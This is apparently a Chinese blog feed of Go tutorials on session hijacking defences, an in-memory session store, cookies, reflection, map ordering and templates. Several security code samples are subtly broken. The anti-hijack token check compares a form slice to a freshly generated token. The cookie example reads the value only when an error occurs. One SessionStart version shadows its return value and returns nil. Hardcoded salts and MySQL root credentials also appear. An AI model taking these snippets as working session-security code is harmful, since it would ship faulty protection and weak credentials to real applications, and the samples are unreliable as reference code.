通过上面劫持Session的简单示例，可以看到它非常危险，因为它允许攻击者做任何他们想做的事情。那么我们如何防止会话劫持？第一步是仅在cookie中设置Session ID，而不是在URL重写中设置。另外，我们应该将httponly cookie属性设置为true。这限制了客户端脚本获得对Session ID的访问权限。使用这些技术，XSS无法访问cookie，也不会像我们演示的那样从cookie管理器获取会话ID。
第二步是为每个请求添加一个令牌。与我们在前面部分中处理重复表单提交的方式类似，我们添加一个包含令牌的隐藏字段。当请求发送到服务器时，我们可以验证此令牌以证明请求是唯一的。

h := md5.New()
salt:="xiaorongmao%^7&8888"
io.WriteString(h,salt+time.Now().String())
token:=fmt.Sprintf("%x",h.Sum(nil))
if r.Form["token"]!=token{
 // ask to log in
}
session.Set("token",token)

Session ID超时

另一种解决方案是为每个Session添加创建时间，并用新的Session ID替换过期的Session ID。这可以防止在某些情况下Session劫持，例如劫持时间太晚。

createtime := session.Get("createtime")
if createtime == nil {
 session.Set("createtime", time.Now().Unix())
} else if (createtime.(int64) + 60) < (time.Now().Unix()) {
 appSession.SessionDestroy(w, r)
 session = appSession.SessionStart(w, r)
}

我们设置一个值来保存创建时间并检查它是否已过期（我在这里设置了60秒）。此步骤通常可以阻止会话劫持尝试。通过组合上面提到的两个解决方案，将能够防止大多数Session劫持尝试成功。一方面，频繁重置的Session ID将导致攻击者总是过期且无用的Session ID;另一方面，通过在cookie上设置httponly属性并确保只能通过cookie传递Session ID，可以减轻所有基于URL的攻击。最后，我们在Cookie上设置MaxAge = 0，这意味着Session ID不会保存在浏览器历史记录中。

Go基础学习记录之Session存储

Fri, 01 Aug 2025 11:35:22 +0000

Session存储

我们在上篇文章中介绍了一个简单的Session管理器的工作原理，除此之外，我们还定义了一个Session存储接口。在本次分享中，我将展示一个实现此接口的基于内存的会话存储引擎的示例。您也可以将其定制为其他形式的Session存储。

package memory

import (
	"container/list"
	"sync"
	"time"

	"github.com/durban89/wiki/session"
)

// Store 存储
type Store struct {
	sid string // unique session is
	lastTime time.Time // last save time
	value map[interface{}]interface{} // session value save inside
}

// Provider 寄存器
type Provider struct {
	lock sync.RWMutex // locker
	sessions map[string]*list.Element // map in memory
	list *list.List // for gc
}

var memoryProvider = &Provider{list: list.New(), sessions: make(map[string]*list.Element)}

// Set Session
func (s *Store) Set(key, value interface{}) error {
	s.value[key] = value
	memoryProvider.SessionUpdate(s.sid)
	return nil
}

// Get Session
func (s *Store) Get(key interface{}) interface{} {
	memoryProvider.SessionUpdate(s.sid)
	if v, ok := s.value[key]; ok {
		return v
	}

	return nil

}

// Del Session
func (s *Store) Del(key interface{}) error {
	delete(s.value, key)
	memoryProvider.SessionUpdate(s.sid)
	return nil
}

// SID Session ID
func (s *Store) SID() string {
	return s.sid
}

// SessionInit 一个Session
func (p *Provider) SessionInit(sid string) (session.Session, error) {
	memoryProvider.lock.Lock()
	defer memoryProvider.lock.Unlock()
	v := make(map[interface{}]interface{}, 0)
	store := &Store{
		sid: sid,
		lastTime: time.Now(),
		value: v,
	}

	res := memoryProvider.list.PushBack(store)
	memoryProvider.sessions[sid] = res

	return store, nil
}

// SessionRead 一个Session
func (p *Provider) SessionRead(sid string) (session.Session, error) {
	if v, ok := memoryProvider.sessions[sid]; ok {
		return v.Value.(*Store), nil
	}

	store, err := memoryProvider.SessionInit(sid)
	return store, err

}

// SessionDestroy 一个Session
func (p *Provider) SessionDestroy(sid string) error {
	if v, ok := memoryProvider.sessions[sid]; ok {
		delete(memoryProvider.sessions, sid)
		memoryProvider.list.Remove(v)
		return nil
	}

	return nil
}

// SessionGC 一个Session
func (p *Provider) SessionGC(maxLifeTime int64) {
	memoryProvider.lock.Lock()
	defer memoryProvider.lock.Unlock()

	for {
		v := memoryProvider.list.Back()
		if v == nil {
			break
		}

		if v.Value.(*Store).lastTime.Unix()+maxLifeTime < time.Now().Unix() {
			memoryProvider.list.Remove(v)
			delete(memoryProvider.sessions, v.Value.(*Store).sid)
		} else {
			break
		}
	}
}

// SessionUpdate 一个Session
func (p *Provider) SessionUpdate(sid string) error {
	memoryProvider.lock.Lock()
	defer memoryProvider.lock.Unlock()

	if v, ok := memoryProvider.sessions[sid]; ok {
		v.Value.(*Store).lastTime = time.Now()
		memoryProvider.list.MoveToFront(v)
	}

	return nil
}

func init() {
	memoryProvider.sessions = make(map[string]*list.Element, 0)
	session.RegisterProvider("memory", memoryProvider)
}

上面的示例实现了基于内存的Session存储机制。它使用其init()函数将此存储引擎注册到Session管理器。那么我们如何从主程序注册这个引擎呢？

import (
	"github.com/durban89/wiki/session"

	// memory session provider
	_ "github.com/durban89/wiki/session/providers/memory"
)

我们使用空白导入机制（它将自动调用包的init()函数）将此引擎注册到Session管理器。然后，我们使用以下代码初始化Session管理器：

var appSession *session.Manager

func init() {
	appSession, _ := session.GetManager("memory", "sessionid", 3600)

	go appSession.SessionGC()
}

panic: runtime error: invalid memory address or nil pointer dereference

Fri, 01 Aug 2025 11:35:18 +0000

panic: runtime error: invalid memory address or nil pointer dereference

关于这个错误问题panic: runtime error: invalid memory address or nil pointer dereference，我是如何解决的

一般这个问题的出现，从提示上意思意思是无效的内存地址或空指针
我遇到的问题是这样的我写了一个Session管理器，其中有一个函数是这样的

// SessionStart 启动Session功能
func (m *Manager) SessionStart(w http.ResponseWriter, r *http.Request) (session Session, err error) {
 m.lock.Lock()
 defer m.lock.Unlock()
 cookie, err := r.Cookie(m.cookieName)

 if err != nil || cookie.Value == "" {
 sid := m.GenerateSID()
 session, err = m.provider.SessionInit(sid)
 if err != nil {
 return nil, err
 }
 newCookie := http.Cookie{
 Name: m.cookieName,
 Value: url.QueryEscape(sid),
 Path: "/",
 HttpOnly: true,
 MaxAge: int(m.maxLifeTime),
 }
 http.SetCookie(w, &newCookie)
 } else {
 sid, _ := url.QueryUnescape(cookie.Value)
 session, _ = m.provider.SessionRead(sid)
 }

 return
}

然后我在使用的时候，是这样的

var appSession *session.Manager

// WelcomeLogin 欢迎登录页
func WelcomeLogin(w http.ResponseWriter, r *http.Request) {
 _, err := appSession.SessionStart(w, r)
 if err != nil {
 fmt.Println(err)
 return
 }

 cookie, err := r.Cookie("sessionid")
 if err != nil {
 fmt.Fprintf(w, "session")
 }

 fmt.Fprintf(w, cookie.Value)
}

func init() {
 appSession, _ := session.GetManager("memory", "sessionid", 3600)

 go appSession.SessionGC()
}

这段两端代码正常编译是没有任何问题，但是在调用WelcomeLogin的时候就报错了，因为WelcomeLogin函数调用了SessionStart，而SessionStart又调用了m.lock.Lock()。
这里注意m.lock.Lock()中的m，从错误提示上看是m的郭，问题在哪里呢，我通过记录日志的方式找到了原因，其实

appSession, _ := session.GetManager("memory", "sessionid", 3600)

这段代码和下面

appSession, _ = session.GetManager("memory", "sessionid", 3600)

这段代码是有很大区别的
使用第一段的时候
appSession得到的值是nil，而使用第二段的代码的时候就能正常赋值了。

这个问题在以后使用init进行操作变量重新赋值的时候一定要注意。为什么我能突然想到这个问题，因为我之前的几篇文章是写如何使用MySQL的，其中有个init中初始化的时候，重新赋值连接的变量涉及到这个问题，但是的做法就是直接赋值，并没有通过’:=‘的方式赋值

// MySQLDB Conn
var MySQLDB *sql.DB

func init() {
 db, err := sql.Open("mysql", "root:123456@/wiki?charset=utf8")
 MySQLDB = db
 checkErr(err)
}

Go基础学习记录之如何在Golang中使用Session

Fri, 01 Aug 2025 11:35:14 +0000

Session背后的基本原则是服务器维护每个客户端的信息，客户端依赖唯一的SessionID来访问此信息。
当用户访问Web应用程序时，服务器将根据需要使用以下三个步骤创建新Session：

创建唯一的Session ID
打开数据存储空间：通常我们将Session保存在内存中，但如果系统意外中断，您将丢失所有Session数据。如果Web应用程序处理敏感数据（例如电子商务），这可能是一个非常严重的问题。为了解决此问题，您可以将Session数据保存在数据库或文件系统中。这使得数据持久性更加可靠，并且易于与其他应用程序共享，但需要权衡的是，读取和写入这些Session需要更多的服务器端IO。
将唯一SessionID发送到客户端。

这里的关键步骤是将唯一Session ID发送到客户端。在标准HTTP响应的上下文中，您可以使用响应行，标题或正文来完成此操作;因此，我们有两种方法将Session ID发送给客户端：通过cookie或URL重写。

Cookie：服务器可以轻松地在响应标头内使用Set-cookie将Session ID发送到客户端，然后客户端可以将此cookie用于将来的请求;我们经常将包含Session信息的cookie的到期时间设置为0，这意味着cookie将保存在内存中，并且只有在用户关闭浏览器后才会被删除。
URL重写：将Session ID作为参数附加到所有页面的URL中。这种方式看起来很混乱，但如果客户在浏览器中禁用了cookie，那么这是最好的选择。

使用Go来管理Session

Session管理设计

全局Session管理。
保持Session ID唯一。
为每个用户准备一个Session。
Session存储在内存，文件或数据库中。
处理过期的Session。

接下来，通过完整实例来演示下如何实现上面的设计

全局Session管理

定义全局Session管理器：

// Manager Session管理
type Manager struct {
 cookieName string
 lock sync.Mutex
 provider Provider
 maxLifeTime int64
}
// GetManager 获取Session Manager
func GetManager(providerName string, cookieName string, maxLifeTime int64) (*Manager, error) {
 provider, ok := providers[providerName]
 if !ok {
 return nil, fmt.Errorf("session: unknown provide %q (forgotten import?)", providerName)
 } 

 return &Manager{
 cookieName: cookieName,
 maxLifeTime: maxLifeTime,
 provider: provider,
 }, nil
}

在main()函数中创建一个全局Session管理器：

var appSession *Manager

// 初始化session manager
func init() {
	appSession, _ = GetManager("memory", "sessionid", 3600)

	go appSession.SessionGC()
}

我们知道我们可以通过多种方式保存Session，包括内存，文件系统或直接进入数据库。我们需要定义一个Provider接口，以表示Session管理器的底层结构：

// Provider 接口
type Provider interface {
 SessionInit(sid string) (Session, error)
 SessionRead(sid string) (Session, error)
 SessionDestroy(sid string) error
 SessionGC(maxLifeTime int64)
}

SessionInit实现Session的初始化，如果成功则返回新Session。
SessionRead返回由相应sid表示的Session。创建一个新Session，如果它尚不存在则返回它。
SessionDestroy给定一个sid，删除相应的Session。
SessionGC根据maxLifeTime删除过期的Session变量。那么我们的Session接口应该有什么方法呢？如果您有任何Web开发经验，您应该知道Session只有四个操作：设置值，获取值，删除值和获取当前Session ID。因此，我们的Session接口应该有四种方法来执行这些操作。

// Session 接口
type Session interface {
 Set(key, value interface{}) error // 设置Session
 Get(key interface{}) interface{} // 获取Session
 Del(key interface{}) error // 删除Session
 SID() string // 当前Session ID
}

这个设计源于database/sql/driver，它首先定义接口，然后在我们想要使用它时注册特定的结构。以下代码是Session寄存器功能的内部实现。

var providers = make(map[string]Provider)

// RegisterProvider 注册Session 寄存器
func RegisterProvider(name string, provider Provider) {
 if provider == nil {
 panic("session: Register provider is nil")
 }

 if _, p := providers[name]; p {
 panic("session: Register provider is existed")
 }

 providers[name] = provider
}

保持Session ID唯一

Session ID用于标识Web应用程序的用户，因此它们必须是唯一的。以下代码显示了如何实现此目标：

// GenerateSID 产生唯一的Session ID
func (m *Manager) GenerateSID() string {
 b := make([]byte, 32)
 if _, err := io.ReadFull(rand.Reader, b); err != nil {
 return ""
 }
 return base64.URLEncoding.EncodeToString(b)
}

创建Session

我们需要分配或获取现有Session以验证用户操作。SessionStart函数用于检查与当前用户相关的任何Session的存在，并在未找到任何Session时创建新Session。

// SessionStart 启动Session功能
func (m *Manager) SessionStart(w http.ResponseWriter, r *http.Request) (session Session) {
 m.lock.Lock()
 defer m.lock.Unlock()
 cookie, err := r.Cookie(m.cookieName)
 if err != nil || cookie.Value == "" {
 sid := m.GenerateSID()
 session, _ := m.provider.SessionInit(sid)
 newCookie := http.Cookie{
 Name: m.cookieName,
 Value: url.QueryEscape(sid),
 Path: "/",
 HttpOnly: true,
 MaxAge: int(m.maxLifeTime),
 }
 http.SetCookie(w, &newCookie)
 } else {
 sid, _ := url.QueryUnescape(cookie.Value)
 session, _ := m.provider.SessionRead(sid)
 }

 return
}

以下是使用Session进行登录操作的示例。

func login(w http.ResponseWriter, r *http.Request) {
 sess := appSession.SessionStart(w, r)
 r.ParseForm()
 if r.Method == "GET" {
 t, _ := template.ParseFiles("login.html")
 w.Header().Set("Content-Type", "text/html")
 t.Execute(w, sess.Get("username"))
 } else {
 sess.Set("username", r.Form["username"])
 http.Redirect(w, r, "/", 302)
 }
}

Session的相关操作

SessionStart函数返回实现Session接口的变量。我们如何使用它？您在上面的示例中看到了session.Get(“uid”)以进行基本操作。现在让我们来看一个更详细的例子。

func count(w http.ResponseWriter, r *http.Request) {
 sess := appSession.SessionStart(w, r)
 createtime := sess.Get("createtime")
 if createtime == nil {
 sess.Set("createtime", time.Now().Unix())
 } else if (createtime.(int64) + 360) < (time.Now().Unix()) {
 appSession.SessionDestroy(w, r)
 sess = appSession.SessionStart(w, r)
 }
 ct := sess.Get("countnum")
 if ct == nil {
 sess.Set("countnum", 1)
 } else {
 sess.Set("countnum", (ct.(int) + 1))
 }
 t, _ := template.ParseFiles("count.html")
 w.Header().Set("Content-Type", "text/html")
 t.Execute(w, sess.Get("countnum"))
}

如您所见，对Session进行操作只需在Set，Get和Delete操作中使用键/值模式。由于Session具有到期时间的概念，因此我们定义GC以更新Session的最新修改时间。这样，GC将不会删除已过期但仍在使用的Session。

注销Session

我们知道Web应用程序具有注销操作。当用户注销时，我们需要删除相应的Session。我们已经在上面的示例中使用了重置操作 - 现在让我们看一下函数体。

// SessionDestory 注销Session
func (m *Manager) SessionDestory(w http.ResponseWriter, r *http.Request) {
 cookie, err := r.Cookie(m.cookieName)
 if err != nil || cookie.Value == "" {
 return
 }

 m.lock.Lock()
 defer m.lock.Unlock()
 m.provider.SessionDestroy(cookie.Value)
 expiredTime := time.Now()
 newCookie := http.Cookie{
 Name: m.cookieName,
 Path: "/",
 HttpOnly: true,
 Expires: expiredTime,
 MaxAge: -1,
 }
 http.SetCookie(w, &newCookie)
}

删除Session

让我们看看如何让Session管理器删除Session。我们需要在main()函数中启动GC：

func init() {
 go appSession.SessionGC()
}

// SessionGC Session 垃圾回收
func (m *Manager) SessionGC() {
 m.lock.Lock()
 defer m.lock.Unlock()
 m.provider.SessionGC(m.maxLifeTime)
 time.AfterFunc(time.Duration(m.maxLifeTime), func() {
 m.SessionGC()
 })
}

我们看到GC充分利用了时间包中的计时器功能。
它会在Session超时时自动调用GC，确保在maxLifeTime期间所有Session都可用。
类似的解决方案可用于计算在线用户。

Golang在使用range遍历map时的key随机化问题及解决方法

Fri, 01 Aug 2025 11:35:11 +0000

Golang在使用range遍历map时的key随机化问题及解决方法

说到这个问题还真是奇葩，也有很多人遇到了

https://blog.csdn.net/slvher/article/details/44779081

比如下面这个哥们就遇到了，也提出了很好的解决意见，因为最近我在用Golang搭建自己的博客，在数据库查询的时候，也遇到了，只是偶尔会遇到这个问题，结果改完也彻底结局了头痛多天的思路

思路其实很简单

第一步建立一个存储key的数组

sortedKeys := make([]string, 0)

第二步将键值存入数组，并对数组进行排序

s := map[string]string{
 "k1": "v1",
 "k2": "v2",
 "k3": "v3",
}

for k := range s {
 sortedKeys = append(sortedKeys, k)
}
sort.Strings(sortedKeys)

第三步通过数组循环来遍历map

value := []string{}
for _, k := range sortedKeys {
 // key - k
 // value - s[k]
 fmt.Printf("%s = %s \n", k, s[k])
 value = append(value, s[k])
}

Go基础学习记录之Session和Cookie

Fri, 01 Aug 2025 11:32:04 +0000

Session和Cookie

session和cookie是两个非常常见的Web概念，也很容易被误解。
但是，它们对于页面授权以及收集页面统计信息非常重要。
我们来看看这两个用例。

假设我们要抓取限制公共访问的页面，例如Twitter用户的主页。
当然，您可以打开浏览器并输入用户名和密码来登录和访问该信息，但所谓的“网络爬行”意味着我们使用程序自动执行此过程而无需任何人为干预。
因此，当我们使用浏览器登录时，我们必须找出幕后的真实情况。

当我们第一次收到登录页面并输入用户名和密码时，按下“登录”按钮后，浏览器会向远程服务器发送POST请求。
服务器验证登录信息并返回HTTP响应后，浏览器重定向到用户主页。
这里的问题是，服务器如何知道我们拥有所需网页的访问权限？
由于HTTP是无状态的，因此服务器无法知道我们是否在最后一步中通过了验证。
最简单也许最天真的解决方案是将用户名和密码附加到URL。
这有效，但对服务器施加了太大的压力（服务器必须验证针对数据库的每个请求），并且可能对用户体验有害。
实现此目标的另一种方法是使用cookie和session在服务器端或客户端保存用户的身份。
简而言之，Cookie会在客户端的计算机上存储历史信息（包括用户登录信息）。
每次用户访问同一网站时，客户端的浏览器都会发送这些cookie，自动完成用户的登录步骤。

另一方面，session在服务器端存储历史信息。
服务器使用session ID来标识不同的session，并且服务器生成的session ID应始终是随机且唯一的。
您可以使用cookie或URL参数来获取客户端的身份。

Cookie由浏览器维护。
可以在Web服务器和浏览器之间进行通信时修改它们。
当用户访问相应的网站时，Web应用程序可以访问cookie信息。
在大多数浏览器设置中，有一个与cookie隐私相关的设置。
打开它时，您应该能够看到类似于以下内容的内容。

{% img https://res.cloudinary.com/dy5dvcuc1/image/upload/v1536669103/golang_web_25_1.png "" %}

Cookie具有到期时间，并且有两种类型的Cookie以其生命周期区分：会话cookie和持久性cookie。
如果您的应用程序未设置cookie到期时间，浏览器关闭后浏览器将不会将其保存到本地文件系统中。
这些cookie称为会话cookie，这种类型的cookie通常保存在内存中而不是本地文件系统中。
如果您的应用程序确实设置了到期时间(例如，setMaxAge(606024))，浏览器会将此cookie保存到本地文件系统，并且在达到分配的到期时间之前不会删除它。
保存到本地文件系统的Cookie可以由不同的浏览器进程共享 - 例如，通过两个IE窗口;
不同的浏览器使用不同的进程来处理保存在内存中的cookie。

Go使用net/http包中的SetCookie函数来设置cookie：

http.SetCookie(w ResponseWriter, cookie *Cookie)

w是请求的响应，cookie是结构。让我们看看Cookie的结构：

// A Cookie represents an HTTP cookie as sent in the Set-Cookie header of an
// HTTP response or the Cookie header of an HTTP request.
//
// See http://tools.ietf.org/html/rfc6265 for details.
type Cookie struct {
 Name string
 Value string

 Path string // optional
 Domain string // optional
 Expires time.Time // optional
 RawExpires string // for reading cookies only // MaxAge=0 means no 'Max-Age' attribute specified.
 // MaxAge<0 means delete cookie now, equivalently 'Max-Age: 0'
 // MaxAge>0 means Max-Age attribute present and given in seconds
 MaxAge int
 Secure bool
 HttpOnly bool
 Raw string
 Unparsed []string // Raw text of unparsed attribute-value pairs
}

下面让我们实例演示一下

expired := time.Now().Add(365 * 24 * time.Hour)
cookie := http.Cookie{
 Name: "site_name",
 Value: "gowhich",
 Expires: expired,
}

http.SetCookie(w, &cookie)

上面的示例显示了如何设置cookie。现在让我们看看如何获取已设置的cookie：

var siteName string
cookie, err := r.Cookie("site_name")
if err != nil {
 siteName = cookie.Value
}
fmt.Println(siteName)

从请求中获取cookie非常方便。

Session

session是一系列操作或消息。例如，您可以考虑在接听电话和挂起电话之间采取的动作。
在网络协议方面，session更多地与浏览器和服务器之间的连接有关。
session有助于存储服务器和客户端之间的连接状态，这有时可以采用数据存储结构的形式。
session是服务器端机制，通常使用哈希表（或类似的东西）来保存传入的信息。
当应用程序需要为客户端分配新会话时，服务器应检查是否存在具有唯一session ID的同一客户端的任何现有session。
如果session ID已存在，则服务器将只返回同一session到客户端。
另一方面，如果客户端不存在session ID，则服务器会创建一个全新的session（这通常发生在服务器删除了相应的sessionID，但用户已手动附加旧session时）。
session本身并不复杂，但它的实现和部署是比较复杂的，所以你不能使用“一种方式来统治它们”。

总之，session和cookie的目的是相同的。
它们都是为了克服HTTP的无状态，但它们使用不同的方法。
session使用cookie在客户端保存session ID，并在服务器端保存所有其他信息。
Cookie会在客户端保存所有客户端信息。
您可能已经注意到cookie存在一些安全问题。
例如，恶意第三方网站可能会破解和收集用户名和密码。

以下是两个常见的漏洞：

appA为appB设置了一个意外的cookie。
XSS攻击：appA使用JavaScript document.cookie访问appB的cookie。

看完本次分享后，您应该了解一些cookie和session的基本概念。你应该能够理解它们之间的差异，这样当不可避免地出现bug时你就不会自杀。

Go基础学习记录之反射(reflect)机制

Fri, 01 Aug 2025 10:32:23 +0000

为什么需要反射机制，这里引用网上的原话

有时候我们需要编写一个函数能够处理一类并不满足普通公共接口的类型的值，也可能是因为它们并没有确定的表示方式，或者是在我们设计该函数的时候这些类型可能还不存在。

一个大家熟悉的例子是fmt.Fprintf函数提供的字符串格式化处理逻辑，它可以用来对任意类型的值格式化并打印，甚至支持用户自定义的类型。让我们也来尝试实现一个类似功能的函数。为了简单起见，我们的函数只接收一个参数，然后返回和fmt.Sprint类似的格式化后的字符串。我们实现的函数名也叫Sprint。

我们首先用switch类型分支来测试输入参数是否实现了String方法，如果是的话就调用该方法。然后继续增加类型测试分支，检查这个值的动态类型是否是string、int、bool等基础类型，并在每种情况下执行相应的格式化操作。

至于我为什么要了解下这个问题，因为我遇到了呗，反射机制对于在使用第三方数据库的时候很有帮助，能够帮助我们判断返回的值，如果处理值，比如我之前分享的文章[Go基础学习记录之Web开发的博客文章列表展示功能]里面的查询函数Query，就用到了这个反射，MySQL的库中的Scan函数需要传入一个[]interface{}，而且值为指针类型，这个时候我们需要根据这个指针获取到interface{}然后转为对应的类型的值，最后组成程序需要的结果值返回给控制层来交给View去给到前端展示

reflect.Type和reflect.Value

反射是由 reflect 包提供的。它定义了两个重要的类型, Type 和 Value. 一个 Type 表示一个Go类型. 它是一个接口, 有许多方法来区分类型以及检查它们的组成部分, 例如一个结构体的成员或一个函数的参数等. 唯一能反映 reflect.Type 实现的是接口的类型描述信息, 也正是这个实体标识了接口值的动态类型.

reflect.Type

函数 reflect.TypeOf 接受任意的 interface{} 类型, 并以reflect.Type形式返回其动态类型:

t := reflect.TypeOf(3) // a reflect.Type
fmt.Println(t.String()) // "int"
fmt.Println(t) // "int"

其中 TypeOf(3) 调用将值 3 传给 interface{} 参数. 这里有个隐式的接口的接口，将一个具体的值转为接口类型会有一个隐式的接口转换操作, 它会创建一个包含两个信息的接口值: 操作数的动态类型(这里是int)和它的动态的值(这里是3).

因为 reflect.TypeOf 返回的是一个动态类型的接口值, 它总是返回具体的类型. 因此, 下面的代码将打印 \*os.File 而不是 “io.Writer”. 稍后, 我们将看到能够表达接口类型的 reflect.Type.

var w io.Writer = os.Stdout
fmt.Println(reflect.TypeOf(w)) // "*os.File"

要注意的是 reflect.Type 接口是满足 fmt.Stringer 接口的. 因为打印一个接口的动态类型对于调试和日志是有帮助的, fmt.Printf 提供了一个缩写 %T 参数, 内部使用 reflect.TypeOf 来输出:

fmt.Printf("%T\n", 3) // "int"

reflect.Value

reflect 包中另一个重要的类型是 Value. 一个 reflect.Value 可以装载任意类型的值. 函数 reflect.ValueOf 接受任意的 interface{} 类型, 并返回一个装载着其动态值的 reflect.Value. 和 reflect.TypeOf 类似, reflect.ValueOf 返回的结果也是具体的类型, 但是 reflect.Value 也可以持有一个接口值.

v := reflect.ValueOf(3) // a reflect.Value
fmt.Println(v) // "3"
fmt.Printf("%v\n", v) // "3"
fmt.Println(v.String()) // NOTE: "<int Value>"

和 reflect.Type 类似, reflect.Value 也满足 fmt.Stringer 接口, 但是除非 Value 持有的是字符串, 否则 String 方法只返回其类型. 而使用 fmt 包的 %v 标志参数会对 reflect.Values 特殊处理.

对 Value 调用 Type 方法将返回具体类型所对应的 reflect.Type:

t := v.Type() // a reflect.Type
fmt.Println(t.String()) // "int"

reflect.ValueOf 的逆操作是 reflect.Value.Interface 方法. 它返回一个 interface{} 类型，装载着与 reflect.Value 相同的具体值:

v = reflect.ValueOf(3) // a reflect.Value
x := v.Interface() // an interface{}
fmt.Println(x) // "3"
i := x.(int) // an int
fmt.Printf("%d\n", i) // "3"

reflect.Value 和 interface{} 都能装载任意的值. 所不同的是, 一个空的接口隐藏了值内部的表示方式和所有方法, 因此只有我们知道具体的动态类型才能使用类型断言来访问内部的值(就像上面那样), 内部值我们没法访问. 相比之下, 一个 Value 则有很多方法来检查其内容, 无论它的具体类型是什么. 让我们再次尝试实现我们的格式化函数 format.Any.

我们使用 reflect.Value 的 Kind 方法来替代之前的类型 switch. 虽然还是有无穷多的类型, 但是它们的kinds类型却是有限的: Bool, String 和所有数字类型的基础类型; Array 和 Struct 对应的聚合类型; Chan, Func, Ptr, Slice, 和 Map 对应的引用类型; interface 类型; 还有表示空值的 Invalid 类型. (空的 reflect.Value 的 kind 即为 Invalid.)

package format

import (
 "reflect"
 "strconv"
)

// Any formats any value as a string.
func Any(value interface{}) string {
 return formatAtom(reflect.ValueOf(value))
}

// formatAtom formats a value without inspecting its internal structure.
func formatAtom(v reflect.Value) string {
 switch v.Kind() {
 case reflect.Invalid:
 return "invalid"
 case reflect.Int, reflect.Int8, reflect.Int16,
 reflect.Int32, reflect.Int64:
 return strconv.FormatInt(v.Int(), 10)
 case reflect.Uint, reflect.Uint8, reflect.Uint16,
 reflect.Uint32, reflect.Uint64, reflect.Uintptr:
 return strconv.FormatUint(v.Uint(), 10)
 // ...floating-point and complex cases omitted for brevity...
 case reflect.Bool:
 return strconv.FormatBool(v.Bool())
 case reflect.String:
 return strconv.Quote(v.String())
 case reflect.Chan, reflect.Func, reflect.Ptr, reflect.Slice, reflect.Map:
 return v.Type().String() + " 0x" +
 strconv.FormatUint(uint64(v.Pointer()), 16)
 default: // reflect.Array, reflect.Struct, reflect.Interface
 return v.Type().String() + " value"
 }
}

到目前为止, 我们的函数将每个值视作一个不可分割没有内部结构的物品, 因此它叫 formatAtom. 对于聚合类型(结构体和数组)和接口，只是打印值的类型, 对于引用类型(channels, functions, pointers, slices, 和 maps), 打印类型和十六进制的引用地址. 虽然还不够理想, 但是依然是一个重大的进步, 并且 Kind 只关心底层表示, format.Any 也支持具名类型. 例如:

var x int64 = 1
var d time.Duration = 1 * time.Nanosecond
fmt.Println(format.Any(x)) // "1"
fmt.Println(format.Any(d)) // "1"
fmt.Println(format.Any([]int64{x})) // "[]int64 0x8202b87b0"
fmt.Println(format.Any([]time.Duration{d})) // "[]time.Duration 0x8202b87e0"

资料查询

http://www.gopl.io/
http://golang-china.github.io/gopl-zh/

如果想看具体信息的话可以转到这里

https://docs.hacknode.org/gopl-zh/ch12/ch12-01.html

Go基础学习记录之模板输出数组

Fri, 01 Aug 2025 10:32:20 +0000

以前使用PHP的Twig模板，后面又有使用过Flask的Jinja2模板，还可以比较容易入手，至少会有个for，一看就知道什么，也知道如何调用

到了Golang这边比较迷糊了，不过还好，官方也有说明，自己也搜索了下，这里记录下，很简单比如我们有个视图，代码大概如下

{{range .Data}}
<div class="blog-post">
<h2 class="blog-post-title">{{ .autokid }} - {{ .title }} blog post</h2>
<p class="blog-post-meta">January 1, 2014 by <a href="#">Mark</a></p>
</div>
{{end}}

从上面的代码分析下，需要传一个带有Data的数据，那传递过来的参数里面至少要有个Data，如下

err = t.Execute(w, struct {
 Data []models.SelectResult
}{
 Data: qr,
})

注意这里的Data，实际上根据项目的需求来，可以换成自己需要的，我这里的是以之前的文章【Go基础学习记录之Web开发的博客文章列表展示功能】为例，只是单独拿出来方便知识点聚焦

其实多用用还是很简单的。

Go基础学习记录之Web开发的博客文章列表展示功能

Fri, 01 Aug 2025 10:32:17 +0000

每次我都会将自己实践的代码放到github上并且都会打一个tag，方便后面用的同学使用，这里我以下面分支的代码进行实践分享

https://github.com/durban89/wiki_blog.git
tag: 1.1.5

本次分享继续之前的Model层，之前的Model层重构，零零散散的总算是完成了，今天继续添加一下文章列表展示功能，虽然说是一个简单的列表展示，但是也还是耗费了很长的时间

过程很简单，先简单说下，后面说下具体的难点

第一步、添加控制层

添加一个控制器函数ArticleItem，用来展示调用文章的列表数据并给到前端进行展示。代码如下

// ArticleItem 列表
func ArticleItem(w http.ResponseWriter, r *http.Request) {
	var blogModel models.BlogModel

	var autokid int64
	var title string
	selectField := models.SelectValues{
		"autokid": &autokid,
		"title": &title,
	}

	where := models.WhereValues{}

	qr, err := blogModel.Query(selectField, where, 0, 10)

	if err != nil {
		fmt.Println(err)
		http.NotFound(w, r)
		return
	}

	t, err := template.ParseFiles(config.TemplateDir + "/item.html")

	if err != nil {
		http.Error(w, err.Error(), http.StatusInternalServerError)
		return
	}

	err = t.Execute(w, struct {
		Data []models.SelectResult
	}{
		Data: qr,
	})

	if err != nil {
		http.Error(w, err.Error(), http.StatusInternalServerError)
		return
	}
}

第二步、View层修改

这里我们需要添加一个视图文件 templates/item.html ，里面的代码如下

<!doctype html>
<html lang="en">
 <head>
 <meta charset="utf-8">
 <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
 <title>列表</title>
 <link rel="stylesheet" href="https://cdn.bootcss.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
 <link
 rel="stylesheet"
 href="https://fezvrasta.github.io/bootstrap-material-design/docs/4.0/examples/blog/blog.css"
 crossorigin="anonymous" />
 </head>

 <body>
 <div class="container">
 <div class="row">
 <div class="col-md-9">

 <h3 class="pb-3 mb-4 font-italic border-bottom">
 From the Firehose
 </h3>

 {{range .Data}}
 <div class="blog-post">
 <h2 class="blog-post-title">{{ .autokid }} - {{ .title }} blog post</h2>
 <p class="blog-post-meta">January 1, 2014 by <a href="#">Mark</a></p>
 </div>
 {{end}}

 <nav class="blog-pagination">
 <a class="btn btn-outline-primary" href="#">Older</a>
 <a class="btn btn-outline-secondary disabled" href="#">Newer</a>
 </nav>
 </div>
 <div class="col-md-3">
 RightSidebar
 </div>
 </div>
 </div>

 <script src="https://cdn.bootcss.com/jquery/3.2.1/jquery.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script>
 <script src="https://cdn.bootcss.com/popper.js/1.12.9/umd/popper.min.js" integrity="sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q" crossorigin="anonymous"></script>
